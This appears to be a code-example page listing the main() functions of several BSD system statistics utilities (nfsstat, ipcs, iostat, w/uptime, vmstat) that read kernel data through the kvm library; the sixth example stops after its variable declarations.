Beispiel #1
0
int
main(int argc, char **argv)
{
	u_int interval;
	int clientOnly = -1;
	int serverOnly = -1;
	int ch;
	char *memf, *nlistf;
	char errbuf[_POSIX2_LINE_MAX];

	interval = 0;
	memf = nlistf = NULL;
	while ((ch = getopt(argc, argv, "cesWM:N:ow:z")) != -1)
		switch(ch) {
		case 'M':
			memf = optarg;
			break;
		case 'N':
			nlistf = optarg;
			break;
		case 'W':
			widemode = 1;
			break;
		case 'w':
			interval = atoi(optarg);
			break;
		case 'c':
			clientOnly = 1;
			if (serverOnly < 0)
				serverOnly = 0;
			break;
		case 's':
			serverOnly = 1;
			if (clientOnly < 0)
				clientOnly = 0;
			break;
		case 'z':
			zflag = 1;
			break;
		case 'o':
			if (extra_output != 0)
				err(1, "-o incompatible with -e");
			run_v4 = 0;
			break;
		case 'e':
			if (run_v4 == 0)
				err(1, "-e incompatible with -o");
			extra_output = 1;
			break;
		case '?':
		default:
			usage();
		}
	argc -= optind;
	argv += optind;

#define	BACKWARD_COMPATIBILITY
#ifdef	BACKWARD_COMPATIBILITY
	if (*argv) {
		interval = atoi(*argv);
		if (*++argv) {
			nlistf = *argv;
			if (*++argv)
				memf = *argv;
		}
	}
#endif
	if (run_v4 != 0 && modfind("nfscommon") < 0)
		errx(1, "new client/server not loaded");

	if (run_v4 == 0 && (nlistf != NULL || memf != NULL)) {
		deadkernel = 1;

		if ((kd = kvm_openfiles(nlistf, memf, NULL, O_RDONLY,
					errbuf)) == 0) {
			errx(1, "kvm_openfiles: %s", errbuf);
		}
		if (kvm_nlist(kd, nl) != 0) {
			errx(1, "kvm_nlist: can't get names");
		}
	}

	if (interval) {
		if (run_v4 > 0)
			exp_sidewaysintpr(interval, clientOnly, serverOnly);
		else
			sidewaysintpr(interval, clientOnly, serverOnly);
	} else {
		if (extra_output != 0)
			exp_intpr(clientOnly, serverOnly);
		else
			intpr(clientOnly, serverOnly);
	}
	exit(0);
}
Beispiel #2
0
int
main(int argc, char *argv[])
{
	int     display = SHMINFO | MSGINFO | SEMINFO;
	int     option = 0;
	char   *core = NULL, *user = NULL, *namelist = NULL;
	char	kvmoferr[_POSIX2_LINE_MAX];  /* Error buf for kvm_openfiles. */
	int     i;
	u_long  shmidx;
	uid_t   uid = 0;

	while ((i = getopt(argc, argv, "MmQqSsabC:cN:optTu:y")) != -1)
		switch (i) {
		case 'a':
			option |= BIGGEST | CREATOR | OUTSTANDING | PID | TIME;
			break;
		case 'b':
			option |= BIGGEST;
			break;
		case 'C':
			core = optarg;
			break;
		case 'c':
			option |= CREATOR;
			break;
		case 'M':
			display = SHMTOTAL;
			break;
		case 'm':
			display = SHMINFO;
			break;
		case 'N':
			namelist = optarg;
			break;
		case 'o':
			option |= OUTSTANDING;
			break;
		case 'p':
			option |= PID;
			break;
		case 'Q':
			display = MSGTOTAL;
			break;
		case 'q':
			display = MSGINFO;
			break;
		case 'S':
			display = SEMTOTAL;
			break;
		case 's':
			display = SEMINFO;
			break;
		case 'T':
			display = SHMTOTAL | MSGTOTAL | SEMTOTAL;
			break;
		case 't':
			option |= TIME;
			break;
		case 'u':
			user = optarg;
			uid = user2uid(user);
			break;
		case 'y':
			use_sysctl = 0;
			break;
		default:
			usage();
		}

	/*
	 * If paths to the exec file or core file were specified, we
	 * aren't operating on the running kernel, so we can't use
	 * sysctl.
	 */
	if (namelist != NULL || core != NULL)
		use_sysctl = 0;

	if (!use_sysctl) {
		kd = kvm_openfiles(namelist, core, NULL, O_RDONLY, kvmoferr);
		if (kd == NULL)
			errx(1, "kvm_openfiles: %s", kvmoferr);
		switch (kvm_nlist(kd, symbols)) {
		case 0:
			break;
		case -1:
			errx(1, "unable to read kernel symbol table");
		default:
			break;
		}
	}

	kget(X_MSGINFO, &msginfo, sizeof(msginfo));
	if ((display & (MSGINFO | MSGTOTAL))) {
		if (display & MSGTOTAL)
			print_kmsqtotal(msginfo);

		if (display & MSGINFO) {
			struct msqid_kernel *kxmsqids;
			size_t kxmsqids_len;

			kxmsqids_len =
			    sizeof(struct msqid_kernel) * msginfo.msgmni;
			kxmsqids = malloc(kxmsqids_len);
			kget(X_MSQIDS, kxmsqids, kxmsqids_len);

			print_kmsqheader(option);

			for (i = 0; i < msginfo.msgmni; i += 1) {
				if (kxmsqids[i].u.msg_qbytes != 0) {
					if (user &&
					    uid != kxmsqids[i].u.msg_perm.uid)
						continue;

					print_kmsqptr(i, option, &kxmsqids[i]);
				}

			}

			printf("\n");
		}
	} else
		if (display & (MSGINFO | MSGTOTAL)) {
			fprintf(stderr,
			    "SVID messages facility "
			    "not configured in the system\n");
		}

	kget(X_SHMINFO, &shminfo, sizeof(shminfo));
	if ((display & (SHMINFO | SHMTOTAL))) {

		if (display & SHMTOTAL)
			print_kshmtotal(shminfo);

		if (display & SHMINFO) {
			struct shmid_kernel *kxshmids;
			size_t kxshmids_len;

			kxshmids_len =
			    sizeof(struct shmid_kernel) * shminfo.shmmni;
			kxshmids = malloc(kxshmids_len);
			kget(X_SHMSEGS, kxshmids, kxshmids_len);

			print_kshmheader(option);

			for (shmidx = 0; shmidx < shminfo.shmmni; shmidx += 1) {
				if (kxshmids[shmidx].u.shm_perm.mode & 0x0800) {
					if (user &&
					    uid != kxshmids[shmidx].u.shm_perm.uid)
						continue;

					print_kshmptr(shmidx, option, &kxshmids[shmidx]);
				}
			}
			printf("\n");
		}
	} else
		if (display & (SHMINFO | SHMTOTAL)) {
			fprintf(stderr,
			    "SVID shared memory facility "
			    "not configured in the system\n");
		}

	kget(X_SEMINFO, &seminfo, sizeof(seminfo));
	if ((display & (SEMINFO | SEMTOTAL))) {
		struct semid_kernel *kxsema;
		size_t kxsema_len;

		if (display & SEMTOTAL)
			print_ksemtotal(seminfo);

		if (display & SEMINFO) {
			kxsema_len =
			    sizeof(struct semid_kernel) * seminfo.semmni;
			kxsema = malloc(kxsema_len);
			kget(X_SEMA, kxsema, kxsema_len);

			print_ksemheader(option);

			for (i = 0; i < seminfo.semmni; i += 1) {
				if ((kxsema[i].u.sem_perm.mode & SEM_ALLOC)
				    != 0) {
					if (user &&
					    uid != kxsema[i].u.sem_perm.uid)
						continue;

					print_ksemptr(i, option, &kxsema[i]);

				}
			}

			printf("\n");
		}
	} else
		if (display & (SEMINFO | SEMTOTAL)) {
			fprintf(stderr,
			    "SVID semaphores facility "
			    "not configured in the system\n");
		}

	if (!use_sysctl)
		kvm_close(kd);

	exit(0);
}
Beispiel #3
0
int
main(int argc, char **argv)
{
	int c, i;
	int tflag = 0, hflag = 0, cflag = 0, wflag = 0, nflag = 0;
	int count = 0, waittime = 0;
	char *memf = NULL, *nlistf = NULL;
	struct devstat_match *matches;
	int num_matches = 0;
	char errbuf[_POSIX2_LINE_MAX];
	kvm_t *kd = NULL;
	long generation;
	int num_devices_specified;
	int num_selected, num_selections;
	long select_generation;
	char **specified_devices;
	devstat_select_mode select_mode;
	float f;
	int havelast = 0;

	matches = NULL;
	maxshowdevs = 3;

	while ((c = getopt(argc, argv, "c:CdhIKM:n:N:ot:Tw:xz?")) != -1) {
		switch(c) {
			case 'c':
				cflag++;
				count = atoi(optarg);
				if (count < 1)
					errx(1, "count %d is < 1", count);
				break;
			case 'C':
				Cflag++;
				break;
			case 'd':
				dflag++;
				break;
			case 'h':
				hflag++;
				break;
			case 'I':
				Iflag++;
				break;
			case 'K':
				Kflag++;
				break;
			case 'M':
				memf = optarg;
				break;
			case 'n':
				nflag++;
				maxshowdevs = atoi(optarg);
				if (maxshowdevs < 0)
					errx(1, "number of devices %d is < 0",
					     maxshowdevs);
				break;
			case 'N':
				nlistf = optarg;
				break;
			case 'o':
				oflag++;
				break;
			case 't':
				tflag++;
				if (devstat_buildmatch(optarg, &matches,
						       &num_matches) != 0)
					errx(1, "%s", devstat_errbuf);
				break;
			case 'T':
				Tflag++;
				break;
			case 'w':
				wflag++;
				f = atof(optarg);
				waittime = f * 1000;
				if (waittime < 1)
					errx(1, "wait time is < 1ms");
				break;
			case 'x':
				xflag++;
				break;
			case 'z':
				zflag++;
				break;
			default:
				usage();
				exit(1);
				break;
		}
	}

	argc -= optind;
	argv += optind;

	if (nlistf != NULL || memf != NULL) {
		kd = kvm_openfiles(nlistf, memf, NULL, O_RDONLY, errbuf);

		if (kd == NULL)
			errx(1, "kvm_openfiles: %s", errbuf);

		if (kvm_nlist(kd, namelist) == -1)
			errx(1, "kvm_nlist: %s", kvm_geterr(kd));
	}

	/*
	 * Make sure that the userland devstat version matches the kernel
	 * devstat version.  If not, exit and print a message informing
	 * the user of his mistake.
	 */
	if (devstat_checkversion(kd) < 0)
		errx(1, "%s", devstat_errbuf);

	/*
	 * Make sure Tflag and/or Cflag are set if dflag == 0.  If dflag is
	 * greater than 0, they may be 0 or non-zero.
	 */
	if (dflag == 0 && xflag == 0) {
		Cflag = 1;
		Tflag = 1;
	}

	/* find out how many devices we have */
	if ((num_devices = devstat_getnumdevs(kd)) < 0)
		err(1, "can't get number of devices");

	/*
	 * Figure out how many devices we should display.
	 */
	if (nflag == 0) {
		if (xflag > 0)
			maxshowdevs = num_devices;
		else if (oflag > 0) {
			if ((dflag > 0) && (Cflag == 0) && (Tflag == 0))
				maxshowdevs = 5;
			else if ((dflag > 0) && (Tflag > 0) && (Cflag == 0))
				maxshowdevs = 5;
			else
				maxshowdevs = 4;
		} else {
			if ((dflag > 0) && (Cflag == 0))
				maxshowdevs = 4;
			else
				maxshowdevs = 3;
		}
	}

	cur.dinfo = (struct devinfo *)calloc(1, sizeof(struct devinfo));
	if (cur.dinfo == NULL)
		err(1, "calloc failed");

	last.dinfo = (struct devinfo *)calloc(1, sizeof(struct devinfo));
	if (last.dinfo == NULL)
		err(1, "calloc failed");

	/*
	 * Grab all the devices.  We don't look to see if the list has
	 * changed here, since it almost certainly has.  We only look for
	 * errors.
	 */
	if (devstat_getdevs(kd, &cur) == -1)
		errx(1, "%s", devstat_errbuf);

	num_devices = cur.dinfo->numdevs;
	generation = cur.dinfo->generation;

	/*
	 * If the user specified any devices on the command line, see if
	 * they are in the list of devices we have now.
	 */
	specified_devices = (char **)malloc(sizeof(char *));
	if (specified_devices == NULL)
		err(1, "malloc failed");

	for (num_devices_specified = 0; *argv; ++argv) {
		if (isdigit(**argv))
			break;
		num_devices_specified++;
		specified_devices = (char **)realloc(specified_devices,
						     sizeof(char *) *
						     num_devices_specified);
		if (specified_devices == NULL)
			err(1, "realloc failed");

		specified_devices[num_devices_specified - 1] = *argv;

	}
	if (nflag == 0 && maxshowdevs < num_devices_specified)
		maxshowdevs = num_devices_specified;

	dev_select = NULL;

	if ((num_devices_specified == 0) && (num_matches == 0))
		select_mode = DS_SELECT_ADD;
	else
		select_mode = DS_SELECT_ONLY;

	/*
	 * At this point, selectdevs will almost surely indicate that the
	 * device list has changed, so we don't look for return values of 0
	 * or 1.  If we get back -1, though, there is an error.
	 */
	if (devstat_selectdevs(&dev_select, &num_selected,
			       &num_selections, &select_generation, generation,
			       cur.dinfo->devices, num_devices, matches,
			       num_matches, specified_devices,
			       num_devices_specified, select_mode, maxshowdevs,
			       hflag) == -1)
		errx(1, "%s", devstat_errbuf);

	/*
	 * Look for the traditional wait time and count arguments.
	 */
	if (*argv) {
		f = atof(*argv);
		waittime = f * 1000;

		/* Let the user know he goofed, but keep going anyway */
		if (wflag != 0)
			warnx("discarding previous wait interval, using"
			      " %g instead", waittime / 1000.0);
		wflag++;

		if (*++argv) {
			count = atoi(*argv);
			if (cflag != 0)
				warnx("discarding previous count, using %d"
				      " instead", count);
			cflag++;
		} else
			count = -1;
	}

	/*
	 * If the user specified a count, but not an interval, we default
	 * to an interval of 1 second.
	 */
	if ((wflag == 0) && (cflag > 0))
		waittime = 1 * 1000;

	/*
	 * If the user specified a wait time, but not a count, we want to
	 * go on ad infinitum.  This can be redundant if the user uses the
	 * traditional method of specifying the wait, since in that case we
	 * already set count = -1 above.  Oh well.
	 */
	if ((wflag > 0) && (cflag == 0))
		count = -1;

	bzero(cur.cp_time, sizeof(cur.cp_time));
	cur.tk_nout = 0;
	cur.tk_nin = 0;

	/*
	 * Set the snap time to the system boot time (ie: zero), so the
	 * stats are calculated since system boot.
	 */
	cur.snap_time = 0;

	/*
	 * If the user stops the program (control-Z) and then resumes it,
	 * print out the header again.
	 */
	(void)signal(SIGCONT, needhdr);

	/*
	 * If our standard output is a tty, then install a SIGWINCH handler
	 * and set wresized so that our first iteration through the main
	 * iostat loop will peek at the terminal's current rows to find out
	 * how many lines can fit in a screenful of output.
	 */
	if (isatty(fileno(stdout)) != 0) {
		wresized = 1;
		(void)signal(SIGWINCH, needresize);
	} else {
		wresized = 0;
		wrows = IOSTAT_DEFAULT_ROWS;
	}

	for (headercount = 1;;) {
		struct devinfo *tmp_dinfo;
		long tmp;
		long double etime;

		if (Tflag > 0) {
			if ((readvar(kd, "kern.tty_nin", X_TTY_NIN, &cur.tk_nin,
			     sizeof(cur.tk_nin)) != 0)
			 || (readvar(kd, "kern.tty_nout", X_TTY_NOUT,
			     &cur.tk_nout, sizeof(cur.tk_nout))!= 0)) {
				Tflag = 0;
				warnx("disabling TTY statistics");
			}
		 }

		if (Cflag > 0) {
			if (kd == NULL) {
				if (readvar(kd, "kern.cp_time", 0,
				    &cur.cp_time, sizeof(cur.cp_time)) != 0)
					Cflag = 0;
			} else {
				if (kvm_getcptime(kd, cur.cp_time) < 0) {
					warnx("kvm_getcptime: %s",
					    kvm_geterr(kd));
					Cflag = 0;
				}
			}
			if (Cflag == 0)
				warnx("disabling CPU time statistics");
		}

		if (!--headercount) {
			phdr();
			if (wresized != 0)
				doresize();
			headercount = wrows;
		}

		tmp_dinfo = last.dinfo;
		last.dinfo = cur.dinfo;
		cur.dinfo = tmp_dinfo;

		last.snap_time = cur.snap_time;

		/*
		 * Here what we want to do is refresh our device stats.
		 * devstat_getdevs() returns 1 when the device list has changed.
		 * If the device list has changed, we want to go through
		 * the selection process again, in case a device that we
		 * were previously displaying has gone away.
		 */
		switch (devstat_getdevs(kd, &cur)) {
		case -1:
			errx(1, "%s", devstat_errbuf);
			break;
		case 1: {
			int retval;

			num_devices = cur.dinfo->numdevs;
			generation = cur.dinfo->generation;
			retval = devstat_selectdevs(&dev_select, &num_selected,
						    &num_selections,
						    &select_generation,
						    generation,
						    cur.dinfo->devices,
						    num_devices, matches,
						    num_matches,
						    specified_devices,
						    num_devices_specified,
						    select_mode, maxshowdevs,
						    hflag);
			switch(retval) {
			case -1:
				errx(1, "%s", devstat_errbuf);
				break;
			case 1:
				phdr();
				if (wresized != 0)
					doresize();
				headercount = wrows;
				break;
			default:
				break;
			}
			break;
		}
		default:
			break;
		}

		/*
		 * We only want to re-select devices if we're in 'top'
		 * mode.  This is the only mode where the devices selected
		 * could actually change.
		 */
		if (hflag > 0) {
			int retval;
			retval = devstat_selectdevs(&dev_select, &num_selected,
						    &num_selections,
						    &select_generation,
						    generation,
						    cur.dinfo->devices,
						    num_devices, matches,
						    num_matches,
						    specified_devices,
						    num_devices_specified,
						    select_mode, maxshowdevs,
						    hflag);
			switch(retval) {
			case -1:
				errx(1,"%s", devstat_errbuf);
				break;
			case 1:
				phdr();
				if (wresized != 0)
					doresize();
				headercount = wrows;
				break;
			default:
				break;
			}
		}

		if (Tflag > 0) {
			tmp = cur.tk_nin;
			cur.tk_nin -= last.tk_nin;
			last.tk_nin = tmp;
			tmp = cur.tk_nout;
			cur.tk_nout -= last.tk_nout;
			last.tk_nout = tmp;
		}

		etime = cur.snap_time - last.snap_time;

		if (etime == 0.0)
			etime = 1.0;

		for (i = 0; i < CPUSTATES; i++) {
			tmp = cur.cp_time[i];
			cur.cp_time[i] -= last.cp_time[i];
			last.cp_time[i] = tmp;
		}

		if (xflag == 0 && Tflag > 0)
			printf("%4.0Lf %5.0Lf", cur.tk_nin / etime,
			    cur.tk_nout / etime);

		devstats(hflag, etime, havelast);

		if (xflag == 0) {
			if (Cflag > 0)
				cpustats();

			printf("\n");
		}
		fflush(stdout);

		if (count >= 0 && --count <= 0)
			break;

		usleep(waittime * 1000);
		havelast = 1;
	}

	exit(0);
}
Beispiel #4
0
int
main(int argc, char **argv)
{
	struct kinfo_proc *kp;
	struct kinfo_proc *dkp;
	struct hostent *hp;
	in_addr_t l;
	int ch, i, nentries, nusers, wcmd, longidle, dropgid;
	char *memf, *nlistf, *p, *x;
#ifdef SUPPORT_UTMP
	struct utmp *ut;
#endif
#ifdef SUPPORT_UTMPX
	struct utmpx *utx;
#endif
	char buf[MAXHOSTNAMELEN], errbuf[_POSIX2_LINE_MAX];

	(void)setlocale(LC_ALL, "");
	use_ampm = (*nl_langinfo(T_FMT_AMPM) != '\0');
	use_comma = (*nl_langinfo(RADIXCHAR) != ',');

	/* Are we w(1) or uptime(1)? */
	if (this_is_uptime(argv[0]) == 0) {
		wcmd = 0;
		p = "";
	} else {
		wcmd = 1;
		p = "dhiflM:N:nsuw";
	}

	dropgid = 0;
	memf = nlistf = _PATH_DEVNULL;
	while ((ch = getopt(argc, argv, p)) != -1)
		switch (ch) {
		case 'd':
			dflag = 1;
			break;
		case 'h':
			header = 0;
			break;
		case 'i':
			sortidle = 1;
			break;
		case 'M':
			header = 0;
			memf = optarg;
			dropgid = 1;
			break;
		case 'N':
			nlistf = optarg;
			dropgid = 1;
			break;
		case 'n':
			nflag = 1;
			break;
		case 'f': case 'l': case 's': case 'u': case 'w':
			warnx("[-flsuw] no longer supported");
			/* FALLTHROUGH */
		case '?':
		default:
			usage(wcmd);
		}
	argc -= optind;
	argv += optind;

	if (!(_res.options & RES_INIT))
		res_init();
	_res.retrans = 2;	/* resolver timeout to 2 seconds per try */
	_res.retry = 1;		/* only try once.. */

	/*
	 * Discard setgid privileges if not the running kernel so that bad
	 * guys can't print interesting stuff from kernel memory.
	 */
	if (dropgid)
		setgid(getgid());

	if ((kd = kvm_openfiles(nlistf, memf, NULL, O_RDONLY, errbuf)) == NULL)
		errx(1, "%s", errbuf);

	(void)time(&now);
#ifdef SUPPORT_UTMPX
	setutxent();
#endif
#ifdef SUPPORT_UTMP
	setutent();
#endif

	if (*argv)
		sel_users = argv;

	nusers = 0;
#ifdef SUPPORT_UTMPX
	while ((utx = getutxent()) != NULL) {
		if (utx->ut_type != USER_PROCESS)
			continue;
		++nusers;

		if (sel_users) {
			int usermatch;
			char **user;

			usermatch = 0;
			for (user = sel_users; !usermatch && *user; user++)
				if (!strncmp(utx->ut_name, *user, UTX_USERSIZE))
					usermatch = 1;
			if (!usermatch)
				continue;
		}

		if ((ep = calloc(1, sizeof(struct entry))) == NULL)
			err(1, NULL);
		(void)memcpy(ep->name, utx->ut_name, sizeof(utx->ut_name));
		(void)memcpy(ep->line, utx->ut_line, sizeof(utx->ut_line));
		(void)memcpy(ep->host, utx->ut_host, sizeof(utx->ut_host));
		ep->name[sizeof(utx->ut_name)] = '\0';
		ep->line[sizeof(utx->ut_line)] = '\0';
		ep->host[sizeof(utx->ut_host)] = '\0';
#if 1
		/* XXX: Actually we don't support the utx->ut_ss stuff yet */
		if (!nflag || getnameinfo((struct sockaddr *)&utx->ut_ss,
		    utx->ut_ss.ss_len, ep->host, sizeof(ep->host), NULL, 0,
		    NI_NUMERICHOST) != 0) {
			(void)memcpy(ep->host, utx->ut_host,
			    sizeof(utx->ut_host));
			ep->host[sizeof(utx->ut_host)] = '\0';
		}
#endif
		ep->type[0] = 'x';
		ep->tv = utx->ut_tv;
		ep->pid = utx->ut_pid;

		*nextp = ep;
		nextp = &(ep->next);
		if (wcmd != 0)
			process(ep);
	}
#endif

#ifdef SUPPORT_UTMP
	while ((ut = getutent()) != NULL) {
		if (ut->ut_name[0] == '\0')
			continue;
		++nusers;
		if (sel_users) {
			int usermatch;
			char **user;

			usermatch = 0;
			for (user = sel_users; !usermatch && *user; user++)
				if (!strncmp(ut->ut_name, *user, UT_NAMESIZE))
					usermatch = 1;
			if (!usermatch)
				continue;
		}

		/* Don't process entries that we have utmpx for */
		for (ep = ehead; ep != NULL; ep = ep->next) {
			if (strncmp(ep->line, ut->ut_line,
			    sizeof(ut->ut_line)) == 0)
				break;
		}
		if (ep != NULL) {
			--nusers; /* Duplicate entry */
			continue;
		}

		if ((ep = calloc(1, sizeof(struct entry))) == NULL)
			err(1, NULL);
		(void)memcpy(ep->name, ut->ut_name, sizeof(ut->ut_name));
		(void)memcpy(ep->line, ut->ut_line, sizeof(ut->ut_line));
		(void)memcpy(ep->host, ut->ut_host, sizeof(ut->ut_host));
		ep->name[sizeof(ut->ut_name)] = '\0';
		ep->line[sizeof(ut->ut_line)] = '\0';
		ep->host[sizeof(ut->ut_host)] = '\0';
		ep->tv.tv_sec = ut->ut_time;

		*nextp = ep;
		nextp = &(ep->next);
		if (wcmd != 0)
			process(ep);
	}
#endif

#ifdef SUPPORT_UTMPX
	endutxent();
#endif
#ifdef SUPPORT_UTMP
	endutent();
#endif	
	
	if (header || wcmd == 0) {
		pr_header(&now, nusers);
		if (wcmd == 0) {
			(void)kvm_close(kd);
			exit(0);
		}

#define HEADER_USER		"USER"
#define HEADER_TTY		"TTY"
#define HEADER_FROM		"FROM"
#define HEADER_LOGIN_IDLE	"LOGIN@  IDLE "
#define HEADER_WHAT		"WHAT\n"
#define WUSED  (maxname + maxline + maxhost + \
		sizeof(HEADER_LOGIN_IDLE) + 3)	/* header width incl. spaces */ 
		(void)printf("%-*.*s %-*.*s %-*.*s  %s", 
				maxname, maxname, HEADER_USER,
				maxline, maxline, HEADER_TTY,
				maxhost, maxhost, HEADER_FROM,
				HEADER_LOGIN_IDLE HEADER_WHAT);
	}

	if ((kp = kvm_getprocs(kd, KERN_PROC_ALL, 0, &nentries)) == NULL)
		err(1, "%s", kvm_geterr(kd));
	for (i = 0; i < nentries; i++, kp++) {
		if (kp->kp_stat == SIDL || kp->kp_stat == SZOMB)
			continue;
		for (ep = ehead; ep != NULL; ep = ep->next) {
			if (ep->tdev == kp->kp_tdev) {
				/*
				 * proc is associated with this terminal
				 */
				if (ep->kp == NULL && kp->kp_pgid == kp->kp_tpgid) {
					/*
					 * Proc is 'most interesting'
					 */
					if (proc_compare(ep->kp, kp))
						ep->kp = kp;
				}
				/*
				 * Proc debug option info; add to debug
				 * list using kinfo_proc kp_eproc.e_spare
				 * as next pointer; ptr to ptr avoids the
				 * ptr = long assumption.
				 */
				dkp = ep->dkp;
				ep->dkp = kp;
				debugproc(kp) = dkp;
			}
			if (ep->pid != 0 && ep->pid == kp->kp_pid) {
				ep->kp = kp;
				break;
			}
		}
	}
	if ((ioctl(STDOUT_FILENO, TIOCGWINSZ, &ws) == -1 &&
	     ioctl(STDERR_FILENO, TIOCGWINSZ, &ws) == -1 &&
	     ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == -1) || ws.ws_col == 0)
	       ttywidth = 79;
        else
	       ttywidth = ws.ws_col - 1;
	argwidth = ttywidth - WUSED;
	if (argwidth < 4)
		argwidth = 8;
	for (ep = ehead; ep != NULL; ep = ep->next) {
		if (ep->kp == NULL) {
			ep->args = "-";
			continue;
		}
		ep->args = fmt_argv(kvm_getargv(kd, ep->kp, argwidth),
		    ep->kp->kp_comm, MAXCOMLEN);
		if (ep->args == NULL)
			err(1, NULL);
	}
	/* sort by idle time */
	if (sortidle && ehead != NULL) {
		struct entry *from, *save;

		from = ehead;
		ehead = NULL;
		while (from != NULL) {
			for (nextp = &ehead;
			    (*nextp) && from->idle >= (*nextp)->idle;
			    nextp = &(*nextp)->next)
				continue;
			save = from;
			from = from->next;
			save->next = *nextp;
			*nextp = save;
		}
	}
#if defined(SUPPORT_UTMP) && defined(SUPPORT_UTMPX)
	else if (ehead != NULL) {
		struct entry *from = ehead, *save;

		ehead = NULL;
		while (from != NULL) {
			for (nextp = &ehead;
			    (*nextp) && strcmp(from->line, (*nextp)->line) > 0;
			    nextp = &(*nextp)->next)
				continue;
			save = from;
			from = from->next;
			save->next = *nextp;
			*nextp = save;
		}
	}
#endif

	if (!nflag) {
		if (gethostname(domain, sizeof(domain)) < 0 ||
		    (p = strchr(domain, '.')) == NULL)
			domain[0] = '\0';
		else {
			domain[sizeof(domain) - 1] = '\0';
			memmove(domain, p, strlen(p) + 1);
		}
	}

	for (ep = ehead; ep != NULL; ep = ep->next) {
		char host_buf[UTX_HOSTSIZE + 1];

		host_buf[UTX_HOSTSIZE] = '\0';
		strncpy(host_buf, ep->host, maxhost);
		p = *host_buf ? host_buf : "-";
		if ((x = strchr(p, ':')) != NULL)
			*x++ = '\0';
		if (!nflag && isdigit(*p) && (l = inet_addr(p)) != -1 &&
		    (hp = gethostbyaddr(&l, sizeof(l), AF_INET))) {
			if (domain[0] != '\0') {
				p = hp->h_name;
				p += strlen(hp->h_name);
				p -= strlen(domain);
				if (p > hp->h_name &&
				    strcasecmp(p, domain) == 0)
					*p = '\0';
			}
			p = hp->h_name;
		}
		if (nflag && *p && strcmp(p, "-") &&
		    inet_addr(p) == INADDR_NONE) {
			hp = gethostbyname(p);

			if (hp != NULL) {
				struct in_addr in;

				memmove(&in, hp->h_addr, sizeof(in));
				p = inet_ntoa(in);
			}
		}
		if (x) {
			(void)snprintf(buf, sizeof(buf), "%s:%s", p, x);
			p = buf;
		}
		if (dflag) {
			for (dkp = ep->dkp; dkp != NULL; dkp = debugproc(dkp)) {
				char *ptr;

				ptr = fmt_argv(kvm_getargv(kd, dkp, argwidth),
				    dkp->kp_comm, MAXCOMLEN);
				if (ptr == NULL)
					ptr = "-";
				(void)printf("\t\t%-9d %s\n",
				    dkp->kp_pid, ptr);
			}
		}
		(void)printf("%-*.*s %-*.*s %-*.*s ",
		    maxname, maxname, ep->name,
		    maxline, maxline,
		    strncmp(ep->line, "tty", 3) &&
		    strncmp(ep->line, "cua", 3) ?
		    ep->line : ep->line + 3,
		    maxhost, maxhost, *p ? p : "-");
		then = (time_t)ep->tv.tv_sec;
		pr_attime(&then, &now);
		longidle = pr_idle(ep->idle);
		(void)printf("%.*s\n", argwidth - longidle, ep->args);
	}
	(void)kvm_close(kd);
	exit(0);
}
Beispiel #5
0
int
main(int argc, char *argv[])
{
	int c, todo;
	unsigned int interval;
	float f;
	int reps;
	char *memf, *nlistf;
	char errbuf[_POSIX2_LINE_MAX];

	memf = nlistf = NULL;
	interval = reps = todo = 0;
	maxshowdevs = 2;
	hflag = isatty(1);
	while ((c = getopt(argc, argv, "ac:fhHiM:mN:n:Pp:stw:z")) != -1) {
		switch (c) {
		case 'a':
			aflag++;
			break;
		case 'c':
			reps = atoi(optarg);
			break;
		case 'P':
			Pflag++;
			break;
		case 'f':
			todo |= FORKSTAT;
			break;
		case 'h':
			hflag = 1;
			break;
		case 'H':
			hflag = 0;
			break;
		case 'i':
			todo |= INTRSTAT;
			break;
		case 'M':
			memf = optarg;
			break;
		case 'm':
			todo |= MEMSTAT;
			break;
		case 'N':
			nlistf = optarg;
			break;
		case 'n':
			nflag = 1;
			maxshowdevs = atoi(optarg);
			if (maxshowdevs < 0)
				errx(1, "number of devices %d is < 0",
				     maxshowdevs);
			break;
		case 'p':
			if (devstat_buildmatch(optarg, &matches, &num_matches) != 0)
				errx(1, "%s", devstat_errbuf);
			break;
		case 's':
			todo |= SUMSTAT;
			break;
		case 't':
#ifdef notyet
			todo |= TIMESTAT;
#else
			errx(EX_USAGE, "sorry, -t is not (re)implemented yet");
#endif
			break;
		case 'w':
			/* Convert to milliseconds. */
			f = atof(optarg);
			interval = f * 1000;
			break;
		case 'z':
			todo |= ZMEMSTAT;
			break;
		case '?':
		default:
			usage();
		}
	}
	argc -= optind;
	argv += optind;

	if (todo == 0)
		todo = VMSTAT;

	if (memf != NULL) {
		kd = kvm_openfiles(nlistf, memf, NULL, O_RDONLY, errbuf);
		if (kd == NULL)
			errx(1, "kvm_openfiles: %s", errbuf);
	}

retry_nlist:
	if (kd != NULL && (c = kvm_nlist(kd, namelist)) != 0) {
		if (c > 0) {
			/*
			 * 'cnt' was renamed to 'vm_cnt'. If 'vm_cnt' is not
			 * found try looking up older 'cnt' symbol.
			 * */
			if (namelist[X_SUM].n_type == 0 &&
			    strcmp(namelist[X_SUM].n_name, "_vm_cnt") == 0) {
				namelist[X_SUM].n_name = "_cnt";
				goto retry_nlist;
			}
			warnx("undefined symbols:");
			for (c = 0;
			     c < (int)(sizeof(namelist)/sizeof(namelist[0]));
			     c++)
				if (namelist[c].n_type == 0)
					(void)fprintf(stderr, " %s",
					    namelist[c].n_name);
			(void)fputc('\n', stderr);
		} else
			warnx("kvm_nlist: %s", kvm_geterr(kd));
		exit(1);
	}
	if (kd && Pflag)
		errx(1, "Cannot use -P with crash dumps");

	if (todo & VMSTAT) {
		/*
		 * Make sure that the userland devstat version matches the
		 * kernel devstat version.  If not, exit and print a
		 * message informing the user of his mistake.
		 */
		if (devstat_checkversion(NULL) < 0)
			errx(1, "%s", devstat_errbuf);


		argv = getdrivedata(argv);
	}

	if (*argv) {
		f = atof(*argv);
		interval = f * 1000;
		if (*++argv)
			reps = atoi(*argv);
	}

	if (interval) {
		if (!reps)
			reps = -1;
	} else if (reps)
		interval = 1 * 1000;

	if (todo & FORKSTAT)
		doforkst();
	if (todo & MEMSTAT)
		domemstat_malloc();
	if (todo & ZMEMSTAT)
		domemstat_zone();
	if (todo & SUMSTAT)
		dosum();
#ifdef notyet
	if (todo & TIMESTAT)
		dotimes();
#endif
	if (todo & INTRSTAT)
		dointr(interval, reps);
	if (todo & VMSTAT)
		dovmstat(interval, reps);
	exit(0);
}
Beispiel #6
0
int
main(int argc, char *argv[])
{
	kvm_t *kd;
	pid_t pid;
	uid_t uid;
	int which, many, ch, rc;
	char errbuf[_POSIX2_LINE_MAX + 1];
	struct kinfo_proc2 *kproc;
	char *kmem, *kernel, *t;
	gid_t egid;
